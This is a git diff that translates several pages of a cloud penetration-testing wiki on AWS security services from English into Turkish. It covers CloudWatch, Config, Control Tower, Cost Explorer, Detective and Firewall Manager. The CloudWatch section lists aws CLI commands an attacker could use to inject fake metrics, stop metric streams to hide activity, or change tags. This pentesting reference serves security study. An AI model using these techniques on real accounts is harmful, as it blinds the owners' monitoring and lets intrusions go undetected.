[--metric-data ] [--metric-name ] [--timestamp ] [--unit ] [--value ] [--dimensions ] ``` - -Example of adding data corresponding to a 70% of a CPU utilization over a given EC2 instance: - +EC2 örneğine karşılık gelen %70 CPU kullanımına ait veri ekleme örneği: ```bash aws cloudwatch put-metric-data --namespace "AWS/EC2" --metric-name "CPUUtilization" --value 70 --unit "Percent" --dimensions "InstanceId=i-0123456789abcdefg" ``` - -**Potential Impact**: Disruption in the flow of monitoring data, impacting the detection of anomalies and incidents, resource manipulation and costs increasing due to the creation of excessive metric streams. +**Potansiyel Etki**: İzleme verilerinin akışında kesinti, anormalliklerin ve olayların tespitini etkileyerek, kaynak manipülasyonu ve aşırı metrik akışlarının oluşturulması nedeniyle maliyetlerin artmasına neden olur. ### **`cloudwatch:StopMetricStreams`, `cloudwatch:StartMetricStreams`** -An attacker would control the flow of the affected metric data streams (every data stream if there is no resource restriction). With the permission **`cloudwatch:StopMetricStreams`**, attackers could hide their malicious activities by stopping critical metric streams. - +Bir saldırgan, etkilenen metrik veri akışlarının akışını kontrol edebilir (kaynak kısıtlaması yoksa her veri akışı). **`cloudwatch:StopMetricStreams`** izni ile, saldırganlar kritik metrik akışlarını durdurarak kötü niyetli faaliyetlerini gizleyebilir. ```bash aws cloudwatch stop-metric-streams --names aws cloudwatch start-metric-streams --names ``` - -**Potential Impact**: Disruption in the flow of monitoring data, impacting the detection of anomalies and incidents. +**Potansiyel Etki**: İzleme verilerinin akışında kesinti, anormalliklerin ve olayların tespitini etkileyebilir. ### **`cloudwatch:TagResource`, `cloudwatch:UntagResource`** -An attacker would be able to add, modify, or remove tags from CloudWatch resources (currently only alarms and Contributor Insights rules). This could disrupting your organization's access control policies based on tags. - +Bir saldırgan, CloudWatch kaynaklarından (şu anda yalnızca alarmlar ve Contributor Insights kuralları) etiket ekleyebilir, değiştirebilir veya kaldırabilir. Bu, etiketlere dayalı olarak organizasyonunuzun erişim kontrol politikalarını etkileyebilir. ```bash aws cloudwatch tag-resource --resource-arn --tags aws cloudwatch untag-resource --resource-arn --tag-keys ``` +**Potansiyel Etki**: Etiket tabanlı erişim kontrol politikalarının kesintiye uğraması. -**Potential Impact**: Disruption of tag-based access control policies. - -## References +## Referanslar - [https://cloudsecdocs.com/aws/services/logging/cloudwatch/](https://cloudsecdocs.com/aws/services/logging/cloudwatch/#general-info) - [https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoncloudwatch.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoncloudwatch.html) - [https://docs.aws.amazon.com/es_es/AmazonCloudWatch/latest/monitoring/cloudwatch_concepts.html#Metric](https://docs.aws.amazon.com/es_es/AmazonCloudWatch/latest/monitoring/cloudwatch_concepts.html#Metric) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md index f2ab3c4c5..fb28ac8df 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md @@ -4,47 +4,43 @@ ## AWS Config -AWS Config **capture resource changes**, so any change to a resource supported by Config can be recorded, which will **record what changed along with other useful metadata, all held within a file known as a configuration item**, a CI. This service is **region specific**. +AWS Config **kaynak değişikliklerini kaydeder**, bu nedenle Config tarafından desteklenen bir kaynağa yapılan her değişiklik kaydedilebilir, bu da **değişenleri ve diğer yararlı meta verileri içeren bir dosya olan bir yapılandırma öğesi (configuration item), CI içinde tutulur**. Bu hizmet **bölgeye özgüdür**. -A configuration item or **CI** as it's known, is a key component of AWS Config. It is comprised of a JSON file that **holds the configuration information, relationship information and other metadata as a point-in-time snapshot view of a supported resource**. All the information that AWS Config can record for a resource is captured within the CI. A CI is created **every time** a supported resource has a change made to its configuration in any way. In addition to recording the details of the affected resource, AWS Config will also record CIs for any directly related resources to ensure the change did not affect those resources too. +Bir yapılandırma öğesi veya **CI** olarak bilinen, AWS Config'in ana bileşenlerinden biridir. Bu, **desteklenen bir kaynağın anlık görüntü görünümü olarak yapılandırma bilgilerini, ilişki bilgilerini ve diğer meta verileri tutan bir JSON dosyasından oluşur**. AWS Config'in bir kaynak için kaydedebileceği tüm bilgiler CI içinde yakalanır. Bir CI, **herhangi bir şekilde** desteklenen bir kaynağın yapılandırmasında bir değişiklik yapıldığında **her seferinde** oluşturulur. Etkilenen kaynağın ayrıntılarını kaydetmenin yanı sıra, AWS Config, bu değişikliğin diğer kaynakları etkilemediğinden emin olmak için doğrudan ilgili kaynaklar için de CI'leri kaydedecektir. -- **Metadata**: Contains details about the configuration item itself. A version ID and a configuration ID, which uniquely identifies the CI. Ither information can include a MD5Hash that allows you to compare other CIs already recorded against the same resource. -- **Attributes**: This holds common **attribute information against the actual resource**. Within this section, we also have a unique resource ID, and any key value tags that are associated to the resource. The resource type is also listed. For example, if this was a CI for an EC2 instance, the resource types listed could be the network interface, or the elastic IP address for that EC2 instance -- **Relationships**: This holds information for any connected **relationship that the resource may have**. So within this section, it would show a clear description of any relationship to other resources that this resource had. For example, if the CI was for an EC2 instance, the relationship section may show the connection to a VPC along with the subnet that the EC2 instance resides in. -- **Current configuration:** This will display the same information that would be generated if you were to perform a describe or list API call made by the AWS CLI. AWS Config uses the same API calls to get the same information. -- **Related events**: This relates to AWS CloudTrail. This will display the **AWS CloudTrail event ID that is related to the change that triggered the creation of this CI**. There is a new CI made for every change made against a resource. As a result, different CloudTrail event IDs will be created. +- **Meta Veri**: Yapılandırma öğesinin kendisi hakkında ayrıntılar içerir. CI'yi benzersiz şekilde tanımlayan bir sürüm kimliği ve bir yapılandırma kimliği. Diğer bilgiler, aynı kaynakla karşılaştırmanıza olanak tanıyan bir MD5Hash'ı içerebilir. +- **Öznitelikler**: Bu, gerçek kaynakla ilgili ortak **özellik bilgilerini tutar**. Bu bölümde, ayrıca benzersiz bir kaynak kimliği ve kaynağa bağlı olan herhangi bir anahtar değer etiketi bulunmaktadır. Kaynak türü de listelenir. Örneğin, bu bir EC2 örneği için bir CI ise, listelenen kaynak türleri ağ arayüzü veya o EC2 örneği için elastik IP adresi olabilir. +- **İlişkiler**: Bu, kaynağın sahip olabileceği herhangi bir bağlı **ilişki hakkında bilgi tutar**. Bu bölümde, bu kaynağın diğer kaynaklarla olan ilişkisini açık bir şekilde tanımlayan bir açıklama gösterilecektir. Örneğin, CI bir EC2 örneği içinse, ilişki bölümü, EC2 örneğinin bulunduğu VPC'ye ve alt ağa olan bağlantıyı gösterebilir. +- **Mevcut yapılandırma:** Bu, AWS CLI tarafından yapılan bir tanım veya liste API çağrısı gerçekleştirildiğinde üretilen aynı bilgileri gösterecektir. AWS Config, aynı bilgileri almak için aynı API çağrılarını kullanır. +- **İlgili olaylar**: Bu, AWS CloudTrail ile ilgilidir. Bu, **bu CI'nin oluşturulmasına neden olan değişiklikle ilgili AWS CloudTrail olay kimliğini gösterecektir**. Bir kaynağa yapılan her değişiklik için yeni bir CI oluşturulur. Sonuç olarak, farklı CloudTrail olay kimlikleri oluşturulacaktır. -**Configuration History**: It's possible to obtain the configuration history of resources thanks to the configurations items. A configuration history is delivered every 6 hours and contains all CI's for a particular resource type. +**Yapılandırma Geçmişi**: Yapılandırma öğeleri sayesinde kaynakların yapılandırma geçmişini elde etmek mümkündür. Bir yapılandırma geçmişi her 6 saatte bir teslim edilir ve belirli bir kaynak türü için tüm CI'leri içerir. -**Configuration Streams**: Configuration items are sent to an SNS Topic to enable analysis of the data. +**Yapılandırma Akışları**: Yapılandırma öğeleri, verilerin analizini sağlamak için bir SNS Konusuna gönderilir. -**Configuration Snapshots**: Configuration items are used to create a point in time snapshot of all supported resources. +**Yapılandırma Anlık Görüntüleri**: Yapılandırma öğeleri, tüm desteklenen kaynakların anlık görüntüsünü oluşturmak için kullanılır. -**S3 is used to store** the Configuration History files and any Configuration snapshots of your data within a single bucket, which is defined within the Configuration recorder. If you have multiple AWS accounts you may want to aggregate your configuration history files into the same S3 bucket for your primary account. However, you'll need to grant write access for this service principle, config.amazonaws.com, and your secondary accounts with write access to the S3 bucket in your primary account. +**S3,** yapılandırma geçmişi dosyalarını ve verilerinizin herhangi bir yapılandırma anlık görüntüsünü tek bir kovada saklamak için kullanılır; bu kova yapılandırma kaydedicisinde tanımlanmıştır. Birden fazla AWS hesabınız varsa, yapılandırma geçmişi dosyalarınızı birincil hesabınız için aynı S3 kovasında toplamak isteyebilirsiniz. Ancak, bu hizmet ilkesi için yazma erişimi vermeniz gerekecek, config.amazonaws.com ve birincil hesabınızdaki S3 kovasına yazma erişimi olan ikincil hesaplarınız. -### Functioning +### İşleyiş -- When make changes, for example to security group or bucket access control list —> fire off as an Event picked up by AWS Config -- Stores everything in S3 bucket -- Depending on the setup, as soon as something changes it could trigger a lambda function OR schedule lambda function to periodically look through the AWS Config settings -- Lambda feeds back to Config -- If rule has been broken, Config fires up an SNS +- Değişiklik yaptığınızda, örneğin güvenlik grubu veya kova erişim kontrol listesi —> AWS Config tarafından alınan bir Olay olarak tetiklenir +- Her şeyi S3 kovasında saklar +- Kuruluma bağlı olarak, bir şey değiştiğinde bir lambda işlevini tetikleyebilir veya AWS Config ayarlarını periyodik olarak kontrol etmek için bir lambda işlevi planlayabilir +- Lambda, Config'e geri besleme yapar +- Kural ihlal edilmişse, Config bir SNS tetikler ![](<../../../../images/image (126).png>) -### Config Rules +### Config Kuralları -Config rules are a great way to help you **enforce specific compliance checks** **and controls across your resources**, and allows you to adopt an ideal deployment specification for each of your resource types. Each rule **is essentially a lambda function** that when called upon evaluates the resource and carries out some simple logic to determine the compliance result with the rule. **Each time a change is made** to one of your supported resources, **AWS Config will check the compliance against any config rules that you have in place**.\ -AWS have a number of **predefined rules** that fall under the security umbrella that are ready to use. For example, Rds-storage-encrypted. This checks whether storage encryption is activated by your RDS database instances. Encrypted-volumes. This checks to see if any EBS volumes that have an attached state are encrypted. +Config kuralları, **kaynaklarınız arasında belirli uyum kontrollerini** **uygulamanıza yardımcı olmanın harika bir yoludur** ve her bir kaynak türü için ideal bir dağıtım spesifikasyonu benimsemenizi sağlar. Her kural **temelde bir lambda işlevidir** ve çağrıldığında kaynağı değerlendirir ve kural ile uyum sonucunu belirlemek için bazı basit mantık yürütür. **Desteklenen kaynaklarınızdan birinde bir değişiklik yapıldığında,** **AWS Config, mevcut olan herhangi bir config kuralına karşı uyumu kontrol edecektir**.\ +AWS, kullanıma hazır olan güvenlik şemsiyesi altındaki bir dizi **önceden tanımlanmış kural** sunmaktadır. Örneğin, Rds-storage-encrypted. Bu, depolama şifrelemesinin RDS veritabanı örnekleriniz tarafından etkinleştirilip etkinleştirilmediğini kontrol eder. Encrypted-volumes. Bu, bağlı durumda olan herhangi bir EBS hacminin şifrelenip şifrelenmediğini kontrol eder. -- **AWS Managed rules**: Set of predefined rules that cover a lot of best practices, so it's always worth browsing these rules first before setting up your own as there is a chance that the rule may already exist. -- **Custom rules**: You can create your own rules to check specific customconfigurations. +- **AWS Yönetilen kurallar**: Birçok en iyi uygulamayı kapsayan önceden tanımlanmış kurallar seti, bu nedenle kendi kurallarınızı ayarlamadan önce bu kuralları gözden geçirmek her zaman faydalıdır çünkü kuralın zaten mevcut olma ihtimali vardır. +- **Özel kurallar**: Belirli özel yapılandırmaları kontrol etmek için kendi kurallarınızı oluşturabilirsiniz. -Limit of 50 config rules per region before you need to contact AWS for an increase.\ -Non compliant results are NOT deleted. +Bölge başına 50 config kuralı sınırı vardır, artırma için AWS ile iletişime geçmeniz gerekir.\ +Uyumsuz sonuçlar SILİNMEZ. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md index 9fab39fb8..d05dd421b 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md @@ -5,33 +5,31 @@ ## Control Tower > [!NOTE] -> In summary, Control Tower is a service that allows to define policies for all your accounts inside your org. So instead of managing each of the you can set policies from Control Tower that will be applied on them. +> Özetle, Control Tower, organizasyonunuz içindeki tüm hesaplar için politikalar tanımlamanıza olanak tanıyan bir hizmettir. Yani her birini yönetmek yerine, Control Tower'dan uygulanacak politikalar belirleyebilirsiniz. -AWS Control Tower is a **service provided by Amazon Web Services (AWS)** that enables organizations to set up and govern a secure, compliant, multi-account environment in AWS. +AWS Control Tower, **Amazon Web Services (AWS)** tarafından sağlanan bir **hizmettir** ve organizasyonların AWS'de güvenli, uyumlu, çok hesaplı bir ortam kurmasını ve yönetmesini sağlar. -AWS Control Tower provides a **pre-defined set of best-practice blueprints** that can be customized to meet specific **organizational requirements**. These blueprints include pre-configured AWS services and features, such as AWS Single Sign-On (SSO), AWS Config, AWS CloudTrail, and AWS Service Catalog. +AWS Control Tower, belirli **organizasyonel gereksinimleri** karşılamak için özelleştirilebilen **önceden tanımlanmış en iyi uygulama şablonları** sunar. Bu şablonlar, AWS Tek Oturum Açma (SSO), AWS Config, AWS CloudTrail ve AWS Service Catalog gibi önceden yapılandırılmış AWS hizmetlerini ve özelliklerini içerir. -With AWS Control Tower, administrators can quickly set up a **multi-account environment that meets organizational requirements**, such as **security** and compliance. The service provides a central dashboard to view and manage accounts and resources, and it also automates the provisioning of accounts, services, and policies. +AWS Control Tower ile yöneticiler, **güvenlik** ve uyum gibi organizasyonel gereksinimleri karşılayan bir **çok hesaplı ortamı** hızlı bir şekilde kurabilirler. Hizmet, hesapları ve kaynakları görüntülemek ve yönetmek için merkezi bir gösterge paneli sağlar ve ayrıca hesapların, hizmetlerin ve politikaların sağlanmasını otomatikleştirir. -In addition, AWS Control Tower provides guardrails, which are a set of pre-configured policies that ensure the environment remains compliant with organizational requirements. These policies can be customized to meet specific needs. +Ayrıca, AWS Control Tower, organizasyonel gereksinimlerle uyumlu kalmasını sağlamak için önceden yapılandırılmış politikalar olan koruma rayları sağlar. Bu politikalar, belirli ihtiyaçları karşılamak için özelleştirilebilir. -Overall, AWS Control Tower simplifies the process of setting up and managing a secure, compliant, multi-account environment in AWS, making it easier for organizations to focus on their core business objectives. +Genel olarak, AWS Control Tower, AWS'de güvenli, uyumlu, çok hesaplı bir ortam kurma ve yönetme sürecini basitleştirir, böylece organizasyonların temel iş hedeflerine odaklanmasını kolaylaştırır. ### Enumeration -For enumerating controltower controls, you first need to **have enumerated the org**: +Control Tower kontrollerini saymak için önce **organizasyonu saymış olmanız gerekir**: {{#ref}} ../aws-organizations-enum.md {{#endref}} - ```bash # Get controls applied in an account aws controltower list-enabled-controls --target-identifier arn:aws:organizations:::ou/ ``` - > [!WARNING] -> Control Tower can also use **Account factory** to execute **CloudFormation templates** in **accounts and run services** (privesc, post-exploitation...) in those accounts +> Control Tower ayrıca **Hesap fabrikası** kullanarak **CloudFormation şablonlarını** **hesaplarda çalıştırabilir ve bu hesaplarda hizmetler** (privesc, post-exploitation...) yürütebilir. ### Post Exploitation & Persistence @@ -40,7 +38,3 @@ aws controltower list-enabled-controls --target-identifier arn:aws:organizations {{#endref}} {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md index 2f967331b..0707852e5 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md @@ -2,18 +2,14 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Cost Explorer and Anomaly detection +## Cost Explorer ve Anomali Tespiti -This allows you to check **how are you expending money in AWS services** and help you **detecting anomalies**.\ -Moreover, you can configure an anomaly detection so AWS will warn you when some a**nomaly in costs is found**. +Bu, **AWS hizmetlerinde nasıl para harcadığınızı kontrol etmenizi** sağlar ve **anomali tespit etmenize** yardımcı olur.\ +Ayrıca, AWS'nin bazı **maliyetlerde anomali bulunduğunda sizi uyarması için bir anomali tespiti yapılandırabilirsiniz**. -### Budgets +### Bütçeler -Budgets help to **manage costs and usage**. You can get **alerted when a threshold is reached**.\ -Also, they can be used for non cost related monitoring like the usage of a service (how many GB are used in a particular S3 bucket?). +Bütçeler, **maliyetleri ve kullanımı yönetmeye** yardımcı olur. **Bir eşik aşıldığında uyarı alabilirsiniz**.\ +Ayrıca, bir hizmetin kullanımı gibi maliyetle ilgili olmayan izleme için de kullanılabilir (belirli bir S3 bucket'ında ne kadar GB kullanılıyor?). {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md index 9d1a40eba..43a86469a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md @@ -4,9 +4,9 @@ ## Detective -**Amazon Detective** streamlines the security investigation process, making it more efficient to **analyze, investigate, and pinpoint the root cause** of security issues or unusual activities. It automates the collection of log data from AWS resources and employs **machine learning, statistical analysis, and graph theory** to construct an interconnected data set. This setup greatly enhances the speed and effectiveness of security investigations. +**Amazon Detective**, güvenlik soruşturma sürecini kolaylaştırarak **güvenlik sorunlarının veya olağandışı aktivitelerin kök nedenini analiz etme, araştırma ve belirleme** işlemlerini daha verimli hale getirir. AWS kaynaklarından günlük verilerinin toplanmasını otomatikleştirir ve **makine öğrenimi, istatistiksel analiz ve grafik teorisi** kullanarak birbirine bağlı bir veri seti oluşturur. Bu yapı, güvenlik soruşturmalarının hızını ve etkinliğini büyük ölçüde artırır. -The service eases in-depth exploration of security incidents, allowing security teams to swiftly understand and address the underlying causes of issues. Amazon Detective analyzes vast amounts of data from sources like VPC Flow Logs, AWS CloudTrail, and Amazon GuardDuty. It automatically generates a **comprehensive, interactive view of resources, users, and their interactions over time**. This integrated perspective provides all necessary details and context in one location, enabling teams to discern the reasons behind security findings, examine pertinent historical activities, and rapidly determine the root cause. +Hizmet, güvenlik olaylarının derinlemesine incelenmesini kolaylaştırarak güvenlik ekiplerinin sorunların temel nedenlerini hızlı bir şekilde anlamasını ve ele almasını sağlar. Amazon Detective, VPC Akış Günlükleri, AWS CloudTrail ve Amazon GuardDuty gibi kaynaklardan büyük miktarda veriyi analiz eder. Zaman içinde kaynakların, kullanıcıların ve etkileşimlerinin **kapsamlı, etkileşimli bir görünümünü otomatik olarak oluşturur**. Bu entegre bakış açısı, güvenlik bulgularının arkasındaki nedenleri ayırt etmek, ilgili tarihsel aktiviteleri incelemek ve kök nedeni hızlı bir şekilde belirlemek için gerekli tüm detayları ve bağlamı tek bir yerde sağlar. ## References @@ -14,7 +14,3 @@ The service eases in-depth exploration of security incidents, allowing security - [https://cloudsecdocs.com/aws/services/logging/other/#detective](https://cloudsecdocs.com/aws/services/logging/other/#detective) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md index 0369f075c..3d4ce9a1f 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md @@ -4,80 +4,79 @@ ## Firewall Manager -**AWS Firewall Manager** streamlines the management and maintenance of **AWS WAF, AWS Shield Advanced, Amazon VPC security groups and Network Access Control Lists (ACLs), and AWS Network Firewall, AWS Route 53 Resolver DNS Firewall and third-party firewalls** across multiple accounts and resources. It enables you to configure your firewall rules, Shield Advanced protections, VPC security groups, and Network Firewall settings just once, with the service **automatically enforcing these rules and protections across your accounts and resources**, including newly added ones. +**AWS Firewall Manager**, **AWS WAF, AWS Shield Advanced, Amazon VPC güvenlik grupları ve Ağ Erişim Kontrol Listeleri (ACL'ler), AWS Network Firewall, AWS Route 53 Resolver DNS Firewall ve üçüncü taraf güvenlik duvarları** gibi hizmetlerin yönetimini ve bakımını kolaylaştırır. Güvenlik duvarı kurallarınızı, Shield Advanced korumalarını, VPC güvenlik gruplarını ve Network Firewall ayarlarını yalnızca bir kez yapılandırmanıza olanak tanır; hizmet, bu kuralları ve korumaları **hesaplarınız ve kaynaklarınız arasında otomatik olarak uygular**, yeni eklenenler dahil. -The service offers the capability to **group and safeguard specific resources together**, like those sharing a common tag or all your CloudFront distributions. A significant advantage of Firewall Manager is its ability to **automatically extend protection to newly added resources** in your account. +Hizmet, belirli kaynakları bir araya **gruplandırma ve koruma** yeteneği sunar; örneğin, ortak bir etikete sahip olanlar veya tüm CloudFront dağıtımlarınız gibi. Firewall Manager'ın önemli bir avantajı, **yeni eklenen kaynaklara otomatik olarak koruma genişletme** yeteneğidir. -A **rule group** (a collection of WAF rules) can be incorporated into an AWS Firewall Manager Policy, which is then linked to specific AWS resources such as CloudFront distributions or application load balancers. +Bir **kural grubu** (WAF kurallarının bir koleksiyonu), belirli AWS kaynaklarına, örneğin CloudFront dağıtımlarına veya uygulama yük dengeleyicilerine bağlanan bir AWS Firewall Manager Politikası'na dahil edilebilir. -AWS Firewall Manager provides **managed application and protocol lists** to simplify the configuration and management of security group policies. These lists allow you to define the protocols and applications permitted or denied by your policies. There are two types of managed lists: +AWS Firewall Manager, güvenlik grubu politikalarının yapılandırmasını ve yönetimini basitleştirmek için **yönetilen uygulama ve protokol listeleri** sunar. Bu listeler, politikalarınız tarafından izin verilen veya reddedilen protokolleri ve uygulamaları tanımlamanıza olanak tanır. İki tür yönetilen liste vardır: -- **Firewall Manager managed lists**: These lists include **FMS-Default-Public-Access-Apps-Allowed**, **FMS-Default-Protocols-Allowed** and **FMS-Default-Protocols-Allowed**. They are managed by Firewall Manager and include commonly used applications and protocols that should be allowed or denied to the general public. It is not possible to edit or delete them, however, you can choose its version. -- **Custom managed lists**: You manage these lists yourself. You can create custom application and protocol lists tailored to your organization's needs. Unlike Firewall Manager managed lists, these lists do not have versions, but you have full control over custom lists, allowing you to create, edit, and delete them as required. +- **Firewall Manager yönetilen listeleri**: Bu listeler **FMS-Default-Public-Access-Apps-Allowed**, **FMS-Default-Protocols-Allowed** ve **FMS-Default-Protocols-Allowed** içerir. Firewall Manager tarafından yönetilir ve genel kamuya izin verilmesi veya reddedilmesi gereken yaygın olarak kullanılan uygulamaları ve protokolleri içerir. Bunları düzenlemek veya silmek mümkün değildir, ancak sürümünü seçebilirsiniz. +- **Özel yönetilen listeler**: Bu listeleri kendiniz yönetirsiniz. Kuruluşunuzun ihtiyaçlarına göre özel uygulama ve protokol listeleri oluşturabilirsiniz. Firewall Manager yönetilen listelerinin aksine, bu listelerin sürümleri yoktur, ancak özel listeler üzerinde tam kontrolünüz vardır; böylece gerektiğinde oluşturabilir, düzenleyebilir ve silebilirsiniz. -It's important to note that **Firewall Manager policies permit only "Block" or "Count" actions** for a rule group, without an "Allow" option. +**Firewall Manager politikalarının yalnızca "Block" veya "Count" eylemlerine izin verdiğini** belirtmek önemlidir; "Allow" seçeneği yoktur. -### Prerequisites +### Ön Koşullar -The following prerequisite steps must be completed before proceeding to configure Firewall Manager to begin protecting your organization's resources effectively. These steps provide the foundational setup required for Firewall Manager to enforce security policies and ensure compliance across your AWS environment: +Firewall Manager'ı yapılandırmaya başlamadan önce aşağıdaki ön koşul adımlarının tamamlanması gerekmektedir. Bu adımlar, Firewall Manager'ın güvenlik politikalarını uygulaması ve AWS ortamınızda uyumluluğu sağlaması için gereken temel yapılandırmayı sağlar: -1. **Join and configure AWS Organizations:** Ensure your AWS account is part of the AWS Organizations organization where the AWS Firewall Manager policies are planned to be implanted. This allows for centralized management of resources and policies across multiple AWS accounts within the organization. -2. **Create an AWS Firewall Manager Default Administrator Account:** Establish a default administrator account specifically for managing Firewall Manager security policies. This account will be responsible for configuring and enforcing security policies across the organization. Just the management account of the organization is able to create Firewall Manager default administrator accounts. -3. **Enable AWS Config:** Activate AWS Config to provide Firewall Manager with the necessary configuration data and insights required to effectively enforce security policies. AWS Config helps analyze, audit, monitor and audit resource configurations and changes, facilitating better security management. -4. **For Third-Party Policies, Subscribe in the AWS Marketplace and Configure Third-Party Settings:** If you plan to utilize third-party firewall policies, subscribe to them in the AWS Marketplace and configure the necessary settings. This step ensures that Firewall Manager can integrate and enforce policies from trusted third-party vendors. -5. **For Network Firewall and DNS Firewall Policies, enable resource sharing:** Enable resource sharing specifically for Network Firewall and DNS Firewall policies. This allows Firewall Manager to apply firewall protections to your organization's VPCs and DNS resolution, enhancing network security. -6. **To use AWS Firewall Manager in Regions that are disabled by default:** If you intend to use Firewall Manager in AWS regions that are disabled by default, ensure that you take the necessary steps to enable its functionality in those regions. This ensures consistent security enforcement across all regions where your organization operates. +1. **AWS Organizations'a katılın ve yapılandırın:** AWS hesabınızın, AWS Firewall Manager politikalarının uygulanacağı AWS Organizations organizasyonunun bir parçası olduğundan emin olun. Bu, organizasyon içindeki birden fazla AWS hesabı arasında kaynakların ve politikaların merkezi yönetimini sağlar. +2. **AWS Firewall Manager Varsayılan Yönetici Hesabı oluşturun:** Firewall Manager güvenlik politikalarını yönetmek için özel bir varsayılan yönetici hesabı oluşturun. Bu hesap, organizasyon genelinde güvenlik politikalarını yapılandırmak ve uygulamakla sorumlu olacaktır. Sadece organizasyonun yönetim hesabı, Firewall Manager varsayılan yönetici hesapları oluşturabilir. +3. **AWS Config'i etkinleştirin:** Firewall Manager'a güvenlik politikalarını etkili bir şekilde uygulamak için gerekli yapılandırma verilerini ve içgörüleri sağlamak üzere AWS Config'i etkinleştirin. AWS Config, kaynak yapılandırmalarını ve değişikliklerini analiz etmeye, denetlemeye, izlemeye ve denetlemeye yardımcı olur, böylece daha iyi güvenlik yönetimi sağlar. +4. **Üçüncü Taraf Politikaları için AWS Marketplace'te abone olun ve Üçüncü Taraf Ayarlarını yapılandırın:** Üçüncü taraf güvenlik duvarı politikalarını kullanmayı planlıyorsanız, bunlara AWS Marketplace'te abone olun ve gerekli ayarları yapılandırın. Bu adım, Firewall Manager'ın güvenilir üçüncü taraf satıcıların politikalarını entegre etmesini ve uygulamasını sağlar. +5. **Ağ Güvenlik Duvarı ve DNS Güvenlik Duvarı Politikaları için kaynak paylaşımını etkinleştirin:** Ağ Güvenlik Duvarı ve DNS Güvenlik Duvarı politikaları için kaynak paylaşımını etkinleştirin. Bu, Firewall Manager'ın organizasyonunuzun VPC'lerine ve DNS çözümlemesine güvenlik duvarı korumalarını uygulamasını sağlar ve ağ güvenliğini artırır. +6. **Varsayılan olarak devre dışı olan bölgelerde AWS Firewall Manager'ı kullanmak için:** Varsayılan olarak devre dışı olan AWS bölgelerinde Firewall Manager'ı kullanmayı planlıyorsanız, bu bölgelerde işlevselliğini etkinleştirmek için gerekli adımları attığınızdan emin olun. Bu, organizasyonunuzun faaliyet gösterdiği tüm bölgelerde tutarlı güvenlik uygulamasını sağlar. -For more information, check: [Getting started with AWS Firewall Manager AWS WAF policies](https://docs.aws.amazon.com/waf/latest/developerguide/getting-started-fms.html). +Daha fazla bilgi için kontrol edin: [AWS Firewall Manager AWS WAF politikaları ile başlama](https://docs.aws.amazon.com/waf/latest/developerguide/getting-started-fms.html). -### Types of protection policies +### Koruma politikası türleri -AWS Firewall Manager manages several types of policies to enforce security controls across different aspects of your organization's infrastructure: +AWS Firewall Manager, organizasyonunuzun altyapısının farklı yönlerinde güvenlik kontrollerini uygulamak için birkaç tür politika yönetir: -1. **AWS WAF Policy:** This policy type supports both AWS WAF and AWS WAF Classic. You can define which resources are protected by the policy. For AWS WAF policies, you can specify sets of rule groups to run first and last in the web ACL. Additionally, account owners can add rules and rule groups to run in between these sets. -2. **Shield Advanced Policy:** This policy applies Shield Advanced protections across your organization for specified resource types. It helps safeguard against DDoS attacks and other threats. -3. **Amazon VPC Security Group Policy:** With this policy, you can manage security groups used throughout your organization, enforcing a baseline set of rules across your AWS environment to control network access. -4. **Amazon VPC Network Access Control List (ACL) Policy:** This policy type gives you control over network ACLs used in your organization, allowing you to enforce a baseline set of network ACLs across your AWS environment. -5. **Network Firewall Policy:** This policy applies AWS Network Firewall protection to your organization's VPCs, enhancing network security by filtering traffic based on predefined rules. -6. **Amazon Route 53 Resolver DNS Firewall Policy:** This policy applies DNS Firewall protections to your organization's VPCs, helping to block malicious domain resolution attempts and enforce security policies for DNS traffic. -7. **Third-Party Firewall Policy:** This policy type applies protections from third-party firewalls, which are available by subscription through the AWS Marketplace console. It allows you to integrate additional security measures from trusted vendors into your AWS environment. - 1. **Palo Alto Networks Cloud NGFW Policy:** This policy applies Palo Alto Networks Cloud Next Generation Firewall (NGFW) protections and rulestacks to your organization's VPCs, providing advanced threat prevention and application-level security controls. - 2. **Fortigate Cloud Native Firewall (CNF) as a Service Policy:** This policy applies Fortigate Cloud Native Firewall (CNF) as a Service protections, offering industry-leading threat prevention, web application firewall (WAF), and API protection tailored for cloud infrastructures. +1. **AWS WAF Politikası:** Bu politika türü, hem AWS WAF hem de AWS WAF Classic'i destekler. Politikanın hangi kaynakları koruduğunu tanımlayabilirsiniz. AWS WAF politikaları için, web ACL'sinde ilk ve son çalışacak kural gruplarını 